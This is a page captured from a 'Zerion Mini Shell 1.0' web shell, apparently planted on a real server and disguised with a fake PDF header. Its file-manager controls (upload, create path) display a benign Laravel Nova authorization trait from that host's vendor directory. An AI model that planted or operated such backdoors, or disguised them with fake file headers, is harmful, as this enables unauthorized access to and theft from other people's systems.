%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/vendor/laravel/nova/src/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/vendor/laravel/nova/src/AuthorizedToSee.php

<?php

namespace Laravel\Nova;

use Closure;
use Illuminate\Http\Request;

trait AuthorizedToSee
{
    /**
     * The callback used to authorize viewing the filter or action.
     *
     * @var \Closure|null
     */
    public $seeCallback;

    /**
     * Determine if the filter or action should be available for the given request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    public function authorizedToSee(Request $request)
    {
        return $this->seeCallback ? call_user_func($this->seeCallback, $request) : true;
    }

    /**
     * Set the callback to be run to authorize viewing the filter or action.
     *
     * @param  \Closure  $callback
     * @return $this
     */
    public function canSee(Closure $callback)
    {
        $this->seeCallback = $callback;

        return $this;
    }
}

Zerion Mini Shell 1.0